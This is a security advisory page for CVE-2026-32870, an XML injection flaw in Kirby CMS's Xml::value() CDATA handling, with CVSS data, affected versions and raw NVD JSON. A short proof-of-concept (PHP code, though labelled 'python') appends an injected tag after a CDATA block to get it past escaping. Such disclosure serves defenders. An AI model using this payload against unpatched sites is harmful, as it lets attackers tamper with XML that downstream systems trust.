Security Vulnerability Report
中文
CVE-2026-32870 CVSS 7.5 HIGH

CVE-2026-32870

Published: 2026-04-24 01:16:12
Last Modified: 2026-04-27 19:21:18

Description

Kirby is an open-source content management system. Kirby's `Xml::value()` method has special handling for `<![CDATA[ ]]>` blocks. If the input value is already valid `CDATA`, it is not escaped a second time but allowed to pass through. However, prior to versions 4.9.0 and 5.4.0, it was possible to trick this check into allowing values that only contained a valid `CDATA` block but also contained other structured data outside of the `CDATA` block. This structured data would then also be allowed to pass through, circumventing the value protection. The `Xml::value()` method is used in `Xml::tag()`, `Xml::create()` and in the `Xml` data handler (e.g. `Data::encode($string, 'xml')`). Both the vulnerable methods and the data handler are not used in the Kirby core. However they may be used in site or plugin code, e.g. to create XML strings from input data. If those generated files are passed to another implementation that assigns specific meaning to the XML schema, manipulation of this system's behavior is possible. Kirby sites that don't use XML generation in site or plugin code are not affected. The problem has been patched in Kirby 4.9.0 and Kirby 5.4.0. In all of the mentioned releases, Kirby has added additional checks that only allow unchanged `CDATA` passthrough if the entire string is made up of valid `CDATA` blocks and no structured data. This protects all uses of the method against the described vulnerability.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:* - VULNERABLE
Kirby < 4.9.0
Kirby < 5.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PoC for CVE-2026-32870: Kirby XML Injection // This script demonstrates bypassing the CDATA check to inject XML tags. require 'kirby/bootstrap.php'; // Input containing a valid CDATA block followed by a malicious tag $payload = "<![CDATA[ legitimate data ]]><injected>malicious_code</injected>"; // In vulnerable versions (< 4.9.0, < 5.4.0), Xml::create uses Xml::value // which fails to sanitize the tag outside the CDATA block. $maliciousXml = \Kirby\Toolkit\Xml::create('user_input', $payload); echo "Generated XML:\n"; echo $maliciousXml . "\n"; // Result: <user_input><![CDATA[ legitimate data ]]><injected>malicious_code</injected></user_input> // The <injected> tag is now part of the XML structure. ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32870", "sourceIdentifier": "[email protected]", "published": "2026-04-24T01:16:11.953", "lastModified": "2026-04-27T19:21:18.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Kirby is an open-source content management system. Kirby's `Xml::value()` method has special handling for `<![CDATA[ ]]>` blocks. If the input value is already valid `CDATA`, it is not escaped a second time but allowed to pass through. However, prior to versions 4.9.0 and 5.4.0, it was possible to trick this check into allowing values that only contained a valid `CDATA` block but also contained other structured data outside of the `CDATA` block. This structured data would then also be allowed to pass through, circumventing the value protection. The `Xml::value()` method is used in `Xml::tag()`, `Xml::create()` and in the `Xml` data handler (e.g. `Data::encode($string, 'xml')`). Both the vulnerable methods and the data handler are not used in the Kirby core. However they may be used in site or plugin code, e.g. to create XML strings from input data. If those generated files are passed to another implementation that assigns specific meaning to the XML schema, manipulation of this system's behavior is possible. Kirby sites that don't use XML generation in site or plugin code are not affected. The problem has been patched in Kirby 4.9.0 and Kirby 5.4.0. In all of the mentioned releases, Kirby has added additional checks that only allow unchanged `CDATA` passthrough if the entire string is made up of valid `CDATA` blocks and no structured data. This protects all uses of the method against the described vulnerability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-91"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.9.0", "matchCriteriaId": "1BB5394F-37F9-4A53-9CE7-79548F674886"}, {"vulnerable": true, "criteria": "cpe:2.3:a:getkirby:kirby:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.4.0", "matchCriteriaId": "B2D943B9-CD71-45FE-A1A4-158603C3502E"}]}]}], "references": [{"url": "https://github.com/getkirby/kirby/releases/tag/4.9.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getkirby/kirby/releases/tag/5.4.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getkirby/kirby/security/advisories/GHSA-9wfj-c55w-j9qr", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}